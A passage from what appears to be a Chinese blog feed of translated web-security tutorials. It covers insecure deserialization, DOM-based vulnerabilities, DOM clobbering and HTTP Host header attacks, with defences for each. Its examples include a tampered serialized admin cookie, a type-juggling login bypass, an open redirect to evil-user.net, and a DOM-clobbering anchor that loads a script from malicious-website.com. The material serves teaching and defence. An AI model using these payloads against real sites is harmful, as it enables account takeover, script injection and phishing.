有些网站所有者认为他们很安全,因为其会对反序列化的数据进行某种形式的附加检查。然而,这种方法通常是无效的,因为几乎不可能验证或预料到所有可能发生的情况。这些检查在根本上也是有缺陷的,因为它们依赖于在数据被反序列化后对其进行检查,在许多情况下,这对于防止攻击来说已经太晚了。

漏洞产生也可能是因为反序列化的对象通常被认为是可信的。特别是在使用二进制序列化格式的语言时,开发人员可能会认为用户无法有效地读取或操作数据。然而,尽管这可能需要更多努力,但攻击者利用二进制序列化对象的可能性与利用基于字符串的格式的可能性是一样的。

由于现代网站中存在大量依赖项,因此基于反序列化的攻击也成为可能。一个站点可能使用许多不同的库,每个库也都有自己的依赖项,这就产生了一个难以安全管理的存在大量类和方法的池子。由于攻击者可以创建这些类中的任何一个实例,因此很难预测可以对恶意数据调用哪些方法。如果攻击者能够将一长串意外的方法调用链接在一起,并将数据传递到与初始源完全无关的接收器中,则尤其如此。因此,几乎不可能预测到恶意数据的流动并堵塞每个潜在的漏洞。

简而言之,安全地反序列化不受信任的输入是不可能的。

不安全的反序列化会造成什么影响

不安全的反序列化的影响可能非常严重,因为它提供了一个切入点,从而导致攻击面大幅增加。它允许攻击者以有害的方式重用现有的应用程序代码,从而导致许多其他漏洞,比如远程代码执行.

即使在无法执行远程代码的情况下,不安全的反序列化也可能导致权限提升、访问任意文件和拒绝服务攻击。

如何利用不安全的反序列化漏洞

下文会有详细说明。

如何防止不安全的反序列化漏洞

一般来说,除非绝对必要,否则应该避免用户输入的反序列化。在许多情况下,防御其潜在的高危漏洞的难度超过了其带来的好处。

如果确实需要反序列化来自不受信任的源的数据,请采取强大的措施以确保数据未被篡改。例如,您可以实现一个数字签名来检查数据的完整性。但是,请记住,任何检查都必须在开始反序列化之前进行。否则,检查就没什么用处了。

如果可能,您应该避免使用通用的反序列化功能。这些方法的序列化数据包含了原始对象的所有属性,以及可能包含敏感信息的私有字段。相反,你应该创建自己特定类的序列化方法,以控制公开字段。

最后,请记住,该漏洞是用户输入的反序列化,而不是随后处理数据的工具链的存在。不要依赖于试图消除测试过程中识别的工具链,由于跨库依赖的存在,这是不切实际的。在任何给定的时间,公开记录的内存损坏漏洞也意味着应用程序可能会受到攻击。


利用 insecure deserialization 漏洞

在本节中,我们将通过 PHP、Ruby 和 Java 反序列化的示例来教你如何利用一些常见漏洞场景。我们希望证明利用不安全的反序列化实际上比许多人认为的要容易得多。如果你能够使用预先构建的工具链,那么即使在黑盒测试期间也是如此。

我们还将指导你创建基于反序列化高危漏洞的攻击。尽管这些通常需要访问源代码,但是一旦理解了基本概念,它们也比你想象的更容易学习。我们将讨论以下主题:

  • 如何识别不安全的反序列化
  • 修改网站所需的序列化对象
  • 将恶意数据传递到危险的网站功能中
  • 注入任意对象类型
  • 链式方法调用以控制数据流入危险的接收器中
  • 手动创建自己的高级的漏洞利用
  • PHAR 反序列化

注意:尽管许多实验和示例都基于PHP,但大多数开发技术对其他语言也同样有效。

如何识别不安全的反序列化

识别不安全的反序列化相对来说比较简单,无论你使用白盒测试还是黑盒测试。

在审核过程中,你应该查看网站所有传入数据,并尝试识别出任何类似于序列化的数据。如果你知道不同语言使用的格式,则可以相对容易地识别序列化的数据。在本节中,我们将展示 PHP 和 Java 序列化的示例。一旦确定了序列化的数据,就可以测试是否能够控制它。

PHP 序列化格式

PHP 使用了一种几乎可读的字符串格式,字母表示数据类型,数字表示每个部分的长度。例如,假设一个 User 对象具有以下属性:

$user->name = "carlos";
$user->isLoggedIn = true;

序列化之后,此对象可能如下所示:

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

其含义是:

  • O:4:"User" - 一个对象,类名是 4 个字符的 "User"
  • 2 - 对象有 2 个属性
  • s:4:"name" - 第一个属性的键是 4 个字符的字符串 "name"
  • s:6:"carlos" - 第一个属性的值是 6个字符的字符串 "carlos"
  • s:10:"isLoggedIn" - 第二个属性的键是 10 个字符的字符串 "isLoggedIn"
  • b:1 - 第二个属性的值是布尔值 true

PHP 序列化的本地方法是 serialize()unserialize() 。如果你有源代码的访问权限,则应该首先在所有位置查找 unserialize() 并进行进一步调查。

Java 序列化格式

有些语言,如 Java ,使用二进制序列化格式。这更难阅读,但如果知道如何识别一些信号,则仍然可以识别序列化的数据。例如,序列化的 Java 对象总是以相同的字节开头,这些字节被编码为十六进制 ac ed 和 Base64 的 rO0

实现接口 java.io.Serializable 的任何类都可以序列化和反序列化。如果你有源代码的访问权限,请注意使用 readObject() 的方法,该方法用于从 InputStream 中读取并反序列化数据。

操纵序列化对象

利用某些反序列化漏洞就像更改序列化对象中的属性一样容易。当对象状态被持久化时,你可以研究序列化数据以识别和编辑感兴趣的属性值。然后,通过反序列化过程将恶意对象传递给网站。这是基本的反序列化攻击的初始步骤。

广义地说,在操纵序列化对象时可以采用两种方法。你可以直接以字节流的形式编辑对象,也可以用相应的语言编写一个简短的脚本来自己创建和序列化新对象。使用二进制序列化格式时,后一种方法通常更容易。

修改对象属性

在篡改数据时,只要攻击者保留一个有效的序列化对象,反序列化过程将使用修改后的属性值创建一个服务器端的对象。

作为一个简单的示例,假设一个网站使用序列化对象 User 在 cookie 中存储有关用户会话的数据。如果攻击者在 HTTP 请求中发现了这个序列化对象,他们可能会对其进行解码以找到以下字节流:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

这个 isAdmin 属性很容易引起攻击者的兴趣。攻击者只需将这个属性的布尔值更改为 1(true),然后重新编码对象,并用此修改后的值覆盖当前 cookie 。单独来看的话这没啥用。但是,如果网站使用此 cookie 检查当前用户是否有权访问某些管理功能:

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

上述代码将基于来自 cookie 的数据实例化 User 对象,包括攻击者修改后的 isAdmin 属性,并且不会检查序列化对象的真实性。此时,修改后的数据就直接升级了权限。

这种简单的场景并不常见。然而,以这种方式编辑属性值展示了进行攻击的第一步。

修改数据类型

我们除了修改序列化对象中的属性值之外,也可以提供意外的数据类型。

像 PHP 这种弱类型语言,使用松散的比较运算符 == 比较不同的数据类型时特别容易受到这种操作的攻击。例如,如果在整数和字符串之间执行松散比较,PHP 将尝试将字符串转换为整数,这意味着 5 == "5" 计算结果为 true.

特别的是,这也适用于任何以数字开头的字母数字字符串。PHP 会将整个字符串转换为初始数字的整数值,字符串的其余部分将被完全忽略。因此,5 == "5 of something" 实际上被视为 5 == 5

当将字符串与整数 0 进行比较时,这变得更加奇怪:

0 == "Example string" // true

因为字符串中没有数字,PHP 会将整个字符串视为整数 0 。

考虑这样一种情况:将这个松散的比较运算符与来自反序列化对象的用户可控数据一起使用,这可能导致危险的逻辑缺陷。

$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

假设攻击者修改了 password 属性,使其为整数 0 而不是预期的字符串。那么只要存储的密码不是以数字开头,就会导致身份验证通过。请注意,这只是一种可能性,因为反序列化可保留数据类型,如果代码直接从请求中获取密码,则 0 将转换为字符串,并且条件的评估结果为 false 。

请注意,在修改任何序列化对象格式的数据类型时,务必记住也要更新序列化数据中的任何类型标签和长度指示符。否则,序列化的对象将损坏,并且不会反序列化。

当直接使用二进制格式时,我们建议使用 Hackvertor 扩展,其可以从 BApp store 中获得。使用 Hackvertor,你可以将序列化数据修改为字符串,它将自动更新二进制数据,并相应地调整偏移量,这可以节省大量的手动操作。

使用应用程序功能

除了简单地检查属性值之外,网站的功能还可能对反序列化对象中的数据执行危险的操作。在这种情况下,你可以使用不安全的反序列化来传递意外的数据,并利用相关功能造成损害。

例如,作为网站“删除用户”功能的一部分,通过访问 $user->image_location 属性可以删除用户的个人资料图片。如果这个 $user 来源于序列化对象,则攻击者可以通过传入一个修改了 image_location 的对象将其设置为任意一个文件路径。删除他们自己的用户帐户也会删除这个任意文件。

此示例依赖于攻击者通过用户可访问的功能手动调用危险方法。然而,当你构造将数据自动传递到危险方法的漏洞利用时,不安全的反序列化将变得更加有趣。这是通过使用“魔术方法”来实现的。

魔术方法

魔术方法是不必显式调用的方法的特殊子集。相反,它们会在特定事件或场景发生时自动调用。魔术方法是各种语言中面向对象编程的一个共同特征。它们有时通过在方法名前面加上前缀或用双下划线包围来表示。

开发人员可以向类中添加魔术方法,以便预先确定在相应的事件或场景发生时应该执行哪些代码。调用魔术方法的确切时间和原因因方法而异。PHP 中最常见的例子之一是 __construct() ,其在实例化类的对象时调用,类似于 Python 的 __init__ 。 通常,像这样的构造函数魔术方法包含初始化实例属性的代码。然而,开发人员可以自定义魔术方法来执行他们想要的任何代码。

魔术方法被广泛使用,其本身并不代表漏洞。但当它们执行的代码对攻击者可控制的数据(例如,来自反序列化对象的数据)进行处理时,它们可能变得危险。攻击者可利用此漏洞在满足相应条件时自动调用反序列化数据上的方法。

在这种情况下,最重要的是,某些语言具有在反序列化过程中自动调用的魔术方法。例如,PHP 的 unserialize() 方法查找并调用对象的 __wakeup() 神奇的方法。

在 Java 反序列化中,这同样适用于 readObject() 方法,它本质上类似于“重新初始化”序列化对象的构造函数。这个 ObjectInputStream.readObject() 方法用于从初始字节流中读取数据。但是,可序列化类也可以声明自己的 readObject() 方法如下:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {...};

这使得类可以更紧密地控制自己字段的反序列化。最重要的是以这种方式声明的 readObject() 方法充当了在反序列化期间调用的魔术方法。

你应该密切关注包含这类魔术方法的任何类。它们允许你在对象完全反序列化之前,将数据从序列化对象传递到网站代码中。这是利用更高级漏洞的起点。

注入任意对象

正如我们所看到的,偶尔可以通过编辑网站提供的对象来利用不安全的反序列化。然而,注入任意对象可以带来更多的可能性。

在面向对象编程中,对象可用的方法由其类决定。因此,如果攻击者可以操纵作为序列化数据传入的对象类,则可以影响反序列化之后,甚至在反序列化期间执行的代码。

反序列化方法通常不检查反序列化的内容。这意味着你可以传入网站可用的任何可序列化类的对象,并且该对象将被反序列化。这允许了攻击者创建任意类的实例。该对象不是预期类的事实并不重要。意外的对象类型可能会导致应用程序逻辑中的异常,但是恶意对象已经实例化。

如果攻击者有权访问源代码,他们可以详细研究所有可用的类。为了构造一个简单的攻击,他们会寻找包含反序列化魔术方法的类,然后检查其中是否有任何类对可控数据执行危险操作。然后,攻击者将会传入这个类的序列化对象,以使用其魔术方法进行攻击。

包含这些反序列化魔术方法的类也可用于发起更复杂的攻击,这涉及一系列的方法调用,称为 "gadget chain" 调用链。

调用链

"gadget" 是应用程序中存在的一段代码,可以帮助攻击者实现特定目标。单个 gadget 不能直接对用户输入造成任何有害影响。然而,攻击者的目标可能只是调用一个将其输入传递到另一个 gadget 的方法。通过以这种方式将多个 gadget 链接在一起,攻击者可能会将他们的输入传递到一个危险的 "sink gadget",从而造成最大的破坏。

重要的是要了解,与其他类型的攻击不同,gadget 链不是攻击者构建的链式方法的有效负载。所有的代码都已经存在于网站上。攻击者唯一控制的是传递到 gadget 链中的数据。这通常反序列化期间调用魔术方法来完成,有时称为“启动gadget”。

许多不安全的反序列化漏洞只能通过使用gadget链来利用。这有时可能是一个简单的一步或两步链,但构建高危害性攻击可能需要更精细的对象实例化和方法调用序列。因此,能够构造 gadget 链是成功利用不安全反序列化的关键因素之一。

使用预先构建的 gadget 链

手动识别 gadget 链可能是一个相当艰巨的过程,如果没有源代码访问,几乎不可能。幸运的是,有一些方法可以用来处理预先构建的 gadget 链,你可以先尝试一下。

有几种可用的工具可以帮助你以最小的工作量构建 gadget 链。这些工具提供了一系列预先发现的 gadget 链,这些 gadget 链在其他网站上被利用过。在目标站点上发现了不安全的反序列化漏洞后,即使你无权访问源代码,也可以使用这些工具尝试并利用它。由于包含可利用 gadget 链的库的广泛使用,这种方法成为可能。例如,如果一个依赖 Java 的 ApacheCommons Collections 库的 gadget 链可以在某个网站上被利用,那么使用该库的任何其他网站也可以使用同一个链进行攻击。

其中一个用于 Java 反序列化的工具是 "ysoserial" 。你只需指定一个你认为目标应用程序正在使用的库,然后提供一个要尝试并执行的命令,该工具就会根据已知的给定库的 gadget 链创建适当的序列化对象。这仍然需要一定量的尝试,但它比手工构建自己的 gadget 链要轻松得多。

大多数经常遭受不安全反序列化攻击的语言都有匹配的 proof-of-concept 工具。例如,对于基于 PHP 的站点,可以使用 "PHP Generic Gadget Chains"(PHPGGC)。

需要注意的是,网站代码或其任何库中存在的 gadget 链并不是导致该漏洞的原因。该漏洞是用户可控制数据的反序列化,gadget 链只是在数据被注入后操纵数据流的一种手段。这也适用于依赖于非可信数据反序列化的各种内存破坏漏洞。因此,即使他们设法管理每一个可能插入的 gadget 链,网站可能仍然是脆弱的。

使用有记录的 gadget 链

你可以看看是否有任何记录在案的漏洞利用,可以拿来攻击你的目标网站。即使没有用于自动生成序列化对象的专用工具,你仍然可以为流行框架找到有记录的 gadget 链并手动调整它们。

如果你找不到一个可以使用的 gadget 链,你仍然可以获得有价值的知识,你可以利用这些知识创建自己的自定义漏洞利用程序。

创建自己的漏洞利用

当现成的 gadget 链和有记录的漏洞攻击不成功时,你需要创建自己的漏洞利用。

为了成功地构建自己的 gadget 链,你几乎肯定需要访问源代码。第一步是研究此源代码,以识别包含反序列化期间调用的魔术方法的类。评估这个魔术方法执行的代码,看看它是否直接使用用户可控制的属性做任何危险的事情。

如果魔术方法本身不可利用,它可以作为你的 gadget 链的启动点。研究启动 gadget 调用的任何方法。这些操作是否会对你控制的数据造成危险?如果不是,请仔细查看它们随后调用的每个方法,依此类推。

重复此过程,跟踪你可以访问的值,直到你到达死胡同或识别出一个危险的 sink gadget ,你的可控数据被传递到其中。

一旦解决了如何在应用程序代码中成功地构造 gadget 链,下一步就是创建一个包含有效负载的序列化对象。这只需研究源代码中的类声明并创建一个有效的序列化对象,该对象具有利用漏洞所需的适当值。正如我们在以前的实验室中看到的,使用基于字符串的序列化格式时,这一点相对简单。

使用二进制格式,例如在构建 Java 反序列化漏洞时,可能会特别麻烦。在对现有对象进行小的更改时,直接使用字节可能会很舒服。但是,当进行更重要的更改时,例如传入一个全新的对象,这很快就变得不切实际了。为了自己生成和序列化数据,用目标语言编写自己的代码通常要简单得多。

在创建自己的 gadget 链时,要注意利用这个额外的攻击面触发次要漏洞的机会。

通过仔细研究源代码,你可以发现更长的 gadget 链,这些 gadget 链可能允许你构建高危险性攻击,通常包括远程代码执行.

PHAR 反序列化

到目前为止,我们主要研究了如何利用反序列化漏洞,即网站显式地反序列化用户输入。然而,在 PHP 中,有时即使没有明显使用 unserialize() 方法,也有可能可以利用反序列化漏洞。

当你访问不同的文件时,PHP 提供了不同的处理方式。其中之一是 phar:// ,它提供了一个流式接口来访问 PHP Archive (.phar) 文件。

PHP 文档揭示了 PHAR 清单文件包含序列化的元数据。至关重要的是,如果你对 phar:// 流执行文件系统操作,其元数据会被隐式的反序列化。这意味着 phar:// 流可能是利用不安全的反序列化的潜在点,前提是可以将此流传递到文件系统方法中。

对于明显危险的文件系统方法,例如 include()fopen(),网站很可能已经实施了反制措施,以减少它们被恶意使用的可能性。然而,诸如 file_exists() 这类看起来没有明显危险的方法可能没有得到很好的保护。

此技术要求你通过某种方式将 PHAR 上传到服务器。例如,一种方法是使用图像上传功能。如果你能够将 PHAR 伪装成一个简单的 JPG 文件,你有时可以绕过网站的验证检查。如果你能强迫网站加载这个伪装成 JPG 的 PHAR 流,则任何通过 PHAR 元数据注入的有害数据都将被反序列化。由于 PHP 读取流时不检查文件扩展名,因此文件是否使用图像扩展名并不重要。

只要对象的类是由网站支持的,则 __wakeup() __destruct() 魔术方法可以用这种方式调用,从而允许你使用这种技术启动一个 gadget 链。

通过内存破坏利用反序列化

即使不使用 gadget 链,也有可能利用不安全的反序列化。如果所有其他方法都失败,通常会有公开记录的内存损坏漏洞,可以通过不安全的反序列化来利用这些漏洞。这些通常会导致远程代码执行。

反序列化方法,例如 PHP 的 unserialize() 很少对这类攻击进行强化,暴露出大量的攻击面。其本身并不总会被认为是一个漏洞,因为这些方法一开始并不打算处理用户可控制的输入。

查看原文

赞 4 收藏 3 评论 2

rife 发布了文章 · 3月7日

Web 安全 之 DOM-based vulnerabilities

DOM-based vulnerabilities

在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。

什么是 DOM

Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题,事实上,它也是现代网站中不可或缺的一部分。然而,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会出现基于 DOM 的漏洞。

污染流漏洞

许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。

什么是污染流

要利用或者缓解这些漏洞,首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。

Source 源是一个 JavaScript 属性,它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输入,这对于攻击者来说比较容易控制。总之,攻击者可以控制的任何属性都是潜在的源。包括引用 URL( document.referrer )、用户的 cookies( document.cookie )和 web messages 。

Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者控制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink ,因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ,因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。

从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不安全的方式处理数据时,基于 DOM 的漏洞就会出现。

最常见的 source 源就是 URL ,其可以通过 location 对象访问。攻击者可以构建一个链接,以让受害者访问易受攻击的页面,并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码:

goto = location.hash.slice(1)
if(goto.startsWith('https:')) {
  location = goto;
}

这是一个基于 DOM 的开放重定向漏洞,因为 location.hash 源被以不安全的方式处理。这个代码的意思是,如果 URL 的 fragment 部分以 https 开头,则提取当前 location.hash 的值,并设置为 windowlocation 。攻击者可以构造如下的 URL 来利用此漏洞:

https://www.innocent-website.com/example#https://www.evil-user.net

当受害者访问此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net ,也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。

常见的 source 源

以下是一些可用于各种污染流漏洞的常见的 source 源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

以下数据也可以被用作污染流漏洞的 source 源:

  • Reflected data 反射数据
  • Stored data 存储数据
  • Web messages

哪些 sink 接收器会导致基于 DOM 的漏洞

下面的列表提供了基于 DOM 的常见漏洞的快速概述,并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。

基于 DOM 的漏洞sink 示例
DOM XSSdocument.write()
Open redirectionwindow.location
Cookie manipulationdocument.cookie
JavaScript injectioneval()
Document-domain manipulationdocument.domain
WebSocket-URL poisoningWebSocket()
Link manipulationsomeElement.src
Web-message manipulationpostMessage()
Ajax request-header manipulationsetRequestHeader()
Local file-path manipulationFileReader.readAsText()
Client-side SQL injectionExecuteSql()
HTML5-storage manipulationsessionStorage.setItem()
Client-side XPath injectiondocument.evaluate()
Client-side JSON injectionJSON.parse()
DOM-data manipulationsomeElement.setAttribute()
Denial of serviceRegExp()

如何防止基于 DOM 的污染流漏洞

没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而,一般来说,避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。

如果应用程序所需的功能意味着这种行为是不可避免的,则必须在客户端代码内实施防御措施。在许多情况下,可以根据白名单来验证相关数据,仅允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且取决于要插入数据的上下文,它可能需要按照适当的顺序进行 JavaScript 转义,HTML 编码和 URL 编码。

有关防止特定漏洞的措施,请参阅上表链接的相应漏洞页面。

DOM clobbering

DOM clobbering 是一种高级技术,具体而言就是你可以将 HTML 注入到页面中,从而操作 DOM ,并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。


DOM clobbering

在本节中,我们将描述什么是 DOM clobbing ,演示如何使用 clobbing 技术来利用 DOM 漏洞,并提出防御 DOM clobbing 攻击的方法。

什么是 DOM clobbering

DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ,但是可以控制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。

术语 clobbing 来自以下事实:你正在 “clobbing”(破坏) 一个全局变量或对象属性,并用 DOM 节点或 HTML 集合去覆盖它。例如,可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称,去干扰表单真正的 submit() 函数。

如何利用 DOM-clobbering 漏洞

某些 JavaScript 开发者经常会使用以下模式:

var someObject = window.someObject || {};

如果你能控制页面上的某些 HTML ,你就可以破坏 someObject 引用一个 DOM 节点,例如 anchor 。考虑如下代码:

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

要利用此易受攻击的代码,你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

由于使用了两个相同的 ID ,因此 DOM 会把他们归为一个集合,然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,从而指向一个外部脚本。

另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如,破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性已经被 DOM 节点破坏。结果就是,你将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入:

<form onclick=alert(1)><input id=attributes>Click me

在这种情况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。但是,由于 attributes 属性已经被 input 元素破坏,所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定,因此过滤器 for 循环的条件(例如 i < element.attributes.length)不满足,过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略,其将会在浏览器中调用 alert() 方法。

如何防御 DOM-clobbering 攻击

简而言之,你可以通过检查以确保对象或函数符合你的预期,来防御 DOM-clobbering 攻击。例如,你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。

你还应该避免全局变量与或运算符 || 一起引用,因为这可能导致 DOM clobbering 漏洞。

总之:

  • 检查对象和功能是否合法。如果要过滤 DOM ,请确保检查的对象或函数不是 DOM 节点。
  • 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。
  • 使用经过良好测试的库,例如 DOMPurify 库,这也可以解决 DOM clobbering 漏洞的问题。

公众号

查看原文

赞 3 收藏 2 评论 0

rife 发布了文章 · 3月6日

Web 安全 之 HTTP Host header attacks

HTTP Host header attacks

在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。

什么是 HTTP Host 头

从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security 时,浏览器将会发出一个包含 Host 头的请求:

GET /web-security HTTP/1.1
Host: portswigger.net

在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。

HTTP Host 头的作用是什么

HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。

历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。

当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。

虚拟主机

一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。

在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。

对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。

通过中介路由流量

另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。

在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。

HTTP Host 头如何解决这个问题

解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。

当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。

什么是 HTTP Host 头攻击

HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 "Host header injection"(主机头注入攻击)。

现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名:

<a href="https://_SERVER['HOST']/support">Contact support</a>

标头的值也可以用于基础设施内不同系统之间的各种交互。

由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是:

  • Web 缓存中毒
  • 特定功能中的业务逻辑缺陷
  • 基于路由的 SSRF
  • 典型的服务器漏洞,如 SQL 注入

HTTP Host 漏洞是如何产生的

HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。

即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。

实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。

利用 HTTP Host 头漏洞

详细内容请查阅本章下文。

如何防御 HTTP Host 头攻击

防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。

其他防御措施有:

保护绝对的 URL 地址

如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。

验证 Host 头

如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。

不支持能够重写 Host 的头

检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host ,牢记默认情况下这些头可能是被允许的。

使用内部虚拟主机时要小心

使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。


如何识别和利用 HTTP Host 头漏洞

在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。

如何使用 HTTP Host 头测试漏洞

要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。

简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。

提供一个任意的 Host 头

在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。

一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。

